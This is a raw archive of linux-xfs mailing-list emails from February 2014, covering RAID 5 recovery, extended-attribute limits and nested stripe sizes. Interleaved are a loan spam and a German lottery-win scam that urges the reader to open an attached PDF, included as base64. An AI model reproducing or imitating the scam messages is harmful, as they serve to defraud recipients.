X-ASG-Debug-ID: 1391248603-04cb6c6de076910001-NocioJ Received: from smtp2-g21.free.fr (smtp2-g21.free.fr [212.27.42.2]) by cuda.sgi.com with ESMTP id wjU1mFnmAeeAQLFe for ; Sat, 01 Feb 2014 01:56:45 -0800 (PST) X-Barracuda-Envelope-From: eflorac@intellique.com X-Barracuda-Apparent-Source-IP: 212.27.42.2 Received: from galadriel.home (unknown [82.235.234.79]) by smtp2-g21.free.fr (Postfix) with ESMTP id E6CEE4B007E; Sat, 1 Feb 2014 10:56:38 +0100 (CET) Date: Sat, 1 Feb 2014 10:56:16 +0100 From: Emmanuel Florac To: Juan Antonio Sillero Sepulveda Cc: Roger Willcocks , Guillem Borrell i Nogueras , xfs@oss.sgi.com Subject: Re: Not being able to recover a RAID 5 20 Tb partition, help needed Message-ID: <20140201105616.1a1906eb@galadriel.home> X-ASG-Orig-Subj: Re: Not being able to recover a RAID 5 20 Tb partition, help needed In-Reply-To: References: <1391002795.2573.79.camel@islero.dmt.upm.es> <1391009068.4294.83.camel@montana.filmlight.ltd.uk> <1391014448.2573.95.camel@islero.dmt.upm.es> <20140129184250.7af7200f@harpe.intellique.com> <20140131223715.0a977fc2@galadriel.home> Organization: Intellique X-Mailer: Claws Mail 3.7.8 (GTK+ 2.24.4; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: smtp2-g21.free.fr[212.27.42.2] X-Barracuda-Start-Time: 1391248604 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.41 X-Barracuda-Spam-Status: No, SCORE=0.41 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=SUBJECT_FUZZY_TION X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144713 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.41 SUBJECT_FUZZY_TION Attempt to obfuscate words in Subject: Le Fri, 31 Jan 2014 22:50:51 +0100 vous =C3=A9criviez: > Guillem, my colleague and expert, correct me. These is the hardware. >=20 > Disk /dev/sdq - 20 TB / 18 TiB - DotHill R/Evo 5730-2R > Disk /dev/sdr - 22 TB / 20 TiB - DotHill R/Evo 5730-2R > Disk /dev/sds - 22 TB / 20 TiB - DotHill R/Evo 5730-2R > Disk /dev/sdt - 22 TB / 20 TiB - DotHill R/Evo 5730-2R > Disk /dev/sdu - 22 TB / 20 TiB - DotHill R/Evo 5730-2R > Disk /dev/sdv - 22 TB / 20 TiB - DotHill R/Evo 5730-2R > Disk /dev/sdw - 22 TB / 20 TiB - DotHill R/Evo 5730-2R > Disk /dev/sdx - 22 TB / 20 TiB - DotHill R/Evo 5730-2R > Disk /dev/sdy - 22 TB / 20 TiB - DotHill R/Evo 5730-2R > Disk /dev/sdz - 20 TB / 18 TiB - DotHill R/Evo 5730-2R This is quite new hardware, it's probably supported/maintained. You should definitely check with DotHill support. > We store everything, basically. Images, matlabs files, txt, dat, pdf, > binary files, hdf5 files, .mat, Fortran files, etc... Photorec can recognize many common file formats, but not all. I've successfully restored several terabytes with it, however you won't get any metadata back with it. --=20 ------------------------------------------------------------------------ Emmanuel Florac | Direction technique | Intellique | | +33 1 78 94 84 02 ------------------------------------------------------------------------ From topolab@utem.cl Sat Feb 1 06:05:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B71EA7FAC for ; Sat, 1 Feb 2014 06:05:49 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id A6C808F8054 for ; Sat, 1 Feb 2014 04:05:46 -0800 (PST) X-ASG-Debug-ID: 1391256340-04cbb00c2a750f0001-w1Z2WR Received: from correo.utem.cl (correo.utem.cl [146.83.180.10]) by cuda.sgi.com with ESMTP id 53fl20Fktb3c16yc for ; Sat, 01 Feb 2014 04:05:41 -0800 (PST) X-Barracuda-Envelope-From: topolab@utem.cl X-Barracuda-Apparent-Source-IP: 146.83.180.10 Received: from localhost (localhost [127.0.0.1]) by correo.utem.cl (Postfix) with ESMTP id 29E4522B9FB7; Sat, 1 Feb 2014 09:05:27 -0300 (CLST) X-Virus-Scanned: amavisd-new at correo.utem.cl Received: from correo.utem.cl ([127.0.0.1]) by localhost (correo.utem.cl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id P8tvudn2AXuN; Sat, 1 Feb 2014 09:05:26 -0300 (CLST) Received: from correo.utem.cl (correo.utem.cl [146.83.180.10]) by correo.utem.cl (Postfix) with ESMTP id 5AB8B22B9FD5; Sat, 1 Feb 2014 09:05:25 -0300 (CLST) Date: Sat, 1 Feb 2014 09:05:25 -0300 (CLST) From: Raymond Singh Reply-To: Raymond Singh Message-ID: <336145236.307984.1391256325352.JavaMail.root@utem.cl> Subject: MIME-Version: 1.0 X-ASG-Orig-Subj: Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [109.200.6.10] X-Mailer: Zimbra 7.2.6_GA_2926 (zclient/7.2.6_GA_2926) To: undisclosed-recipients:; X-Barracuda-Connect: correo.utem.cl[146.83.180.10] X-Barracuda-Start-Time: 1391256341 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.29 X-Barracuda-Spam-Status: No, SCORE=1.29 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MISSING_SUBJECT, MISSING_SUBJECT_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 MISSING_SUBJECT Missing Subject: header 1.28 MISSING_SUBJECT_2 Missing Subject: header We are now providing business & personal loans: At superb rates- Starting from 2.0% Flexible Repayment period- 2 to 30 Years. For more information and Application, Please reply. To unsubscribe please reply with "unsubscribe" as subject From slava@dubeyko.com Sat Feb 1 07:03:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6E9A87FAB for ; Sat, 1 Feb 2014 07:03:49 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5DB378F8052 for ; Sat, 1 Feb 2014 05:03:46 -0800 (PST) X-ASG-Debug-ID: 1391259821-04cbb00c2876240001-NocioJ Received: from gproxy2-pub.mail.unifiedlayer.com (gproxy2-pub.mail.unifiedlayer.com [69.89.18.3]) by cuda.sgi.com with SMTP id Q2laFebErFFKiHXC for ; Sat, 01 Feb 2014 05:03:41 -0800 (PST) X-Barracuda-Envelope-From: slava@dubeyko.com X-Barracuda-Apparent-Source-IP: 69.89.18.3 Received: (qmail 11547 invoked by uid 0); 1 Feb 2014 13:03:39 -0000 Received: from unknown (HELO CMOut01) (10.0.90.82) by gproxy2.mail.unifiedlayer.com with SMTP; 1 Feb 2014 13:03:39 -0000 Received: from host202.hostmonster.com ([74.220.215.202]) by CMOut01 with id M13a1n0054NbHr60113dUX; Sat, 01 Feb 2014 06:03:38 -0700 X-Authority-Analysis: v=2.1 cv=F57EKMRN c=1 sm=1 tr=0 a=yEjhGPV9XlbPNRGz7jjbow==:117 a=yEjhGPV9XlbPNRGz7jjbow==:17 a=DsvgjBjRAAAA:8 a=f5113yIGAAAA:8 a=kH96It08rf4A:10 a=neHJxMmKCwgA:10 a=N659UExz7-8A:10 a=wCmvBT1CAAAA:8 a=mwXUDZVSVwYA:10 a=djd9j7hWnewA:10 a=yPCof4ZbAAAA:8 a=vPKER9cBAAAA:8 a=Yf44xEk3b81ce4my4pQA:9 a=HpR_fzx4Gklkc7Yn:21 a=8TmCV4VXlvRkB1Q9:21 a=pILNOxqGKmIA:10 a=7DSvI1NPTFQA:10 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=dubeyko.com; s=default; h=To:References:Message-Id:Content-Transfer-Encoding:Cc:Date:In-Reply-To:From:Content-Type:Mime-Version:Subject; bh=2hLSLGmAPObpKjGIC3adwORMDtZcmiMQ4v36wXIgc3Q=; b=ZH1W+om0KzHr2c32ka52C+kRotbqPVmcV9pM62P8aXPCrIFXo/prXvMaxv8pstgb+LlE9cjRsAZr/DSwieMmwjcc7SJys+QXMDbS8ptFdHWW9fvzudYf3qy4H4Q1mbbm; Received: from [46.39.244.28] (port=57835 helo=[192.168.24.101]) by host202.hostmonster.com with esmtpa (Exim 4.80) (envelope-from ) id 1W9aEQ-0006nV-8k; Sat, 01 Feb 2014 06:03:34 -0700 Subject: Re: Extended attributes limit in Linux Mime-Version: 1.0 (Apple Message framework v1085) X-ASG-Orig-Subj: Re: Extended attributes limit in Linux Content-Type: text/plain; charset=windows-1252 From: Vyacheslav Dubeyko In-Reply-To: <6C94A326-DADE-4A32-97F6-AE84E9F57777@gmail.com> Date: Sat, 1 Feb 2014 17:08:09 +0300 Cc: Jeff Liu , xfs@oss.sgi.com Content-Transfer-Encoding: quoted-printable Message-Id: <1D87A7C9-988F-4F61-A577-67300DAF2554@dubeyko.com> References: <52EB64DC.4020603@oracle.com> <1391165083.4275.7.camel@ubuntu> <52EB960D.607@oracle.com> <1391172723.4275.11.camel@ubuntu> <52EBA783.1080801@oracle.com> <1391178074.4275.19.camel@ubuntu> <52EBB431.50301@oracle.com> <6C94A326-DADE-4A32-97F6-AE84E9F57777@gmail.com> To: Sun_Blood X-Mailer: Apple Mail (2.1085) X-Identified-User: {2172:host202.hostmonster.com:dubeykoc:dubeyko.com} {sentby:smtp auth 46.39.244.28 authed with slava@dubeyko.com} X-Barracuda-Connect: gproxy2-pub.mail.unifiedlayer.com[69.89.18.3] X-Barracuda-Start-Time: 1391259821 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Jan 31, 2014, at 10:25 PM, Sun_Blood wrote: >=20 > On 31 jan 2014, at 15:33, Jeff Liu wrote: >=20 >>=20 >> On 01/31 2014 22:21 PM, Vyacheslav Dubeyko wrote: >>> On Fri, 2014-01-31 at 21:39 +0800, Jeff Liu wrote: >>>=20 >>>>>=20 >>>>> I checked the same under Mac OS X 10.6.8 (Snow Leopard). And I = have >>>>> failed on 3803 bytes size of xattr. So, I suppose that you have = Mac OS X >>>>> Lion. And EAs is larger under Lion yet. >>>>>=20 >>>>> What version of Mac OS X have you? >>>>>=20 >>>> Yup, Mountain Lion v10.8.4 :) >>>>=20 >>>=20 >>> I suspect that xattrs with significant size is stored in compressed >>> state on HFS+. I implemented support of compressed xattrs partially = but >>> I don't share this code yet. But, yes, EAs with size greater than 64 = KB >>> can be a problem. >=20 >=20 > FYI, Example of output from one of the failing files. First from OS X = and then same file after failed copy to XFS. >=20 > OS X Maverik: > file: "/Users/username/Pictures/iPhoto = Library/Database/apdb/BigBlobs.apdb" > type: "\0\0\0\0" > creator: "\0\0\0\0" > attributes: avbstclinmedz > created: 01/25/2014 11:43:17 > modified: 01/28/2014 20:02:46 >=20 >=20 > Ubunutu=20 > getfattr: Removing leading '/' from absolute path names > # file: srv/nas/home/apple_bak_rsync/username/Pictures/iPhoto = Library/Database/BigBlobs.apdb > user.com.apple.quarantine=3D"0006;52e39545;iPhoto;=94 Sorry, but I don't quite follow your thought. What do you show by this = output? What do you mean? Could you describe in more details? Thanks, Vyacheslav Dubeyko. From stan@hardwarefreak.com Sat Feb 1 12:47:36 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C3ABB7F53 for ; Sat, 1 Feb 2014 12:47:36 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id B30CE8F804C for ; Sat, 1 Feb 2014 10:47:33 -0800 (PST) X-ASG-Debug-ID: 1391280452-04cb6c6de182760001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id PYpr79Ca6HSXhB6m for ; Sat, 01 Feb 2014 10:47:32 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 47B056C12C; Sat, 1 Feb 2014 12:47:32 -0600 (CST) Message-ID: <52ED4143.6090303@hardwarefreak.com> Date: Sat, 01 Feb 2014 12:47:31 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Chris Murphy CC: xfs Subject: Re: relationship of nested stripe sizes, was: Question regarding XFS on LVM over hardware RAID. References: <7A732267-B34F-4286-9B49-3AF8767C0B89@colorremedies.com> X-ASG-Orig-Subj: Re: relationship of nested stripe sizes, was: Question regarding XFS on LVM over hardware RAID. In-Reply-To: <7A732267-B34F-4286-9B49-3AF8767C0B89@colorremedies.com> Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 8bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1391280452 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 1/31/2014 12:35 AM, Chris Murphy wrote: > Hopefully this is an acceptable way to avoid thread jacking, by > renaming the subject… > > On Jan 30, 2014, at 10:58 PM, Stan Hoeppner > wrote: >> >> RAID60 is a nested RAID level just like RAID10 and RAID50. It is >> a stripe, or RAID0, across multiple primary array types, RAID6 in >> this case. The stripe width of each 'inner' RAID6 becomes the >> stripe unit of the 'outer' RAID0 array: >> >> RAID6 geometry 128KB * 12 = 1536KB RAID0 geometry 1536KB * 3 = >> 4608KB > > My question is on this particular point. If this were hardware raid6, > but I wanted to then stripe using md raid0, using the numbers above > would I choose a raid0 chunk size of 1536KB? How critical is this > value for, e.g. only large streaming read/write workloads? If it were > smaller, say 256KB or even 32KB, would there be a significant > performance consequence? You say 'if it were smaller...256/32KB'. What is "it" referencing? -- Stan From antonio.blanco1@aol.com Sat Feb 1 14:15:34 2014 Return-Path: X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6F5297FB9 for ; Sat, 1 Feb 2014 14:15:34 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 542388F8050 for ; Sat, 1 Feb 2014 12:15:31 -0800 (PST) X-ASG-Debug-ID: 1391285727-04cbb00c2983060001-w1Z2WR Received: from mail.vps.com ([23.97.73.52]) by cuda.sgi.com with ESMTP id yvVVwAPh10h2g66I for ; Sat, 01 Feb 2014 12:15:27 -0800 (PST) X-Barracuda-Envelope-From: antonio.blanco1@aol.com X-Barracuda-Apparent-Source-IP: 23.97.73.52 Received: from [23.97.73.52] (localhost [IPv6:::1]) by mail.vps.com (Postfix) with ESMTP id 3093120ADC; Sat, 1 Feb 2014 16:02:13 +0000 (UTC) Received: from 31.4.245.68 (SquirrelMail authenticated user admin) by 23.97.73.52 with HTTP; Sat, 1 Feb 2014 16:02:13 -0000 Message-ID: Date: Sat, 1 Feb 2014 16:02:13 -0000 Subject: offizielle sieger From: =?iso-8859-1?Q?=22_Antonio_Blanco._Preis_Organizer/Ministerium_f=FCr_Tour?=ismus=?iso-8859-1?Q?=22?= X-ASG-Orig-Subj: offizielle sieger Reply-To: winseguros3@aol.com User-Agent: SquirrelMail/1.4.22 MIME-Version: 1.0 Content-Type: multipart/mixed;boundary="----=_20140201160213_13010" X-Priority: 3 (Normal) Importance: Normal To: undisclosed-recipients:; X-Barracuda-Connect: UNKNOWN[23.97.73.52] X-Barracuda-Start-Time: 1391285727 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: -1001.00 X-Barracuda-Spam-Status: No, SCORE=-1001.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 ------=_20140201160213_13010 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit -- Achtung: Öffnen Sie bitte das beigefügte Dokument zum Abrufen ihrer Nachrichten Danke mfg Don Antonio Blanco Alle Korrespondenten an, Don Juan Gomez (agent) Win Seguros Email: ddongomez@gmail.com, oder juan.gomez@spainmail.com Tel: 0034 631 547 811 Fax: 0034 917 693 077 ***************************************** Der Austausch von Nachrichten per e-mail dient ausschließlich zu Informationszwecken. Deshalb nehmen wir keine rechtlichen Erklärungen des Absenders per e-mail. Die Informationen in dieser Nachricht ist vertraulich und ausschließlich für den Adressaten. Wenn sich der Empfänger dieser Nachricht ist nicht der Adressat, einer seiner Mitarbeiter oder sein bevollmächtigter Vertreter, der Empfänger wird hiermit darauf aufmerksam gemacht, dass er/sie sich nicht mit den Inhalten, offenlegen oder reproduzieren ihren Inhalt. Wenn Sie diese Meldung irrtümlich erhalten haben, benachrichtigen Sie bitte den Absender sofort und löschen Sie die Nachricht von Ihrem System. *********************** Alle Warenzeichen sind Eigentum der jeweiligen Inhaber. >Copyright © 2010-2014. Alle Rechte vorbehalten ------=_20140201160213_13010 Content-Type: application/pdf; name="C.gewinn.eu.pdf" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="C.gewinn.eu.pdf" JVBERi0xLjUNCiW1tbW1DQoxIDAgb2JqDQo8PC9UeXBlL0NhdGFsb2cvUGFnZXMgMiAwIFIvTGFu Zyhlbi1VUykgPj4NCmVuZG9iag0KMiAwIG9iag0KPDwvVHlwZS9QYWdlcy9Db3VudCAxL0tpZHNb IDMgMCBSXSA+Pg0KZW5kb2JqDQozIDAgb2JqDQo8PC9UeXBlL1BhZ2UvUGFyZW50IDIgMCBSL1Jl c291cmNlczw8L1hPYmplY3Q8PC9JbWFnZTQgNCAwIFIvSW1hZ2U3IDcgMCBSL0ltYWdlOSA5IDAg Ui9JbWFnZTExIDExIDAgUi9JbWFnZTEzIDEzIDAgUi9JbWFnZTE3IDE3IDAgUi9JbWFnZTcwIDcw IDAgUi9JbWFnZTcxIDcxIDAgUi9JbWFnZTczIDczIDAgUi9JbWFnZTc0IDc0IDAgUi9JbWFnZTc1 IDc1IDAgUj4+L0V4dEdTdGF0ZTw8L0dTMTUgMTUgMCBSL0dTMTYgMTYgMCBSL0dTMzcgMzcgMCBS Pj4vRm9udDw8L0YxIDE4IDAgUi9GMiAyMCAwIFIvRjMgMjIgMCBSL0Y0IDI0IDAgUi9GNSAyNiAw IFIvRjYgMjggMCBSL0Y3IDMwIDAgUi9GOCAzMiAwIFI+Pi9QYXR0ZXJuPDwvUDM5IDM5IDAgUi9Q NDEgNDEgMCBSL1A0MyA0MyAwIFIvUDQ1IDQ1IDAgUi9QNDcgNDcgMCBSL1A0OSA0OSAwIFIvUDUx IDUxIDAgUi9QNTMgNTMgMCBSL1A1NSA1NSAwIFIvUDU3IDU3IDAgUi9QNTkgNTkgMCBSL1A2MSA2 MSAwIFIvUDYzIDYzIDAgUi9QNjUgNjUgMCBSL1A2NyA2NyAwIFIvUDY5IDY5IDAgUj4+L1Byb2NT ZXRbL1BERi9UZXh0L0ltYWdlQi9JbWFnZUMvSW1hZ2VJXSA+Pi9NZWRpYUJveFsgMCAwIDU5NS4z MiA4NDEuOTJdIC9Db250ZW50cyA2IDAgUi9Hcm91cDw8L1R5cGUvR3JvdXAvUy9UcmFuc3BhcmVu Y3kvQ1MvRGV2aWNlUkdCPj4vVGFicy9TPj4NCmVuZG9iag0KNCAwIG9iag0KPDwvVHlwZS9YT2Jq ZWN0L1N1YnR5cGUvSW1hZ2UvV2lkdGggMjIxL0hlaWdodCAxMTgvQ29sb3JTcGFjZS9EZXZpY2VS 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 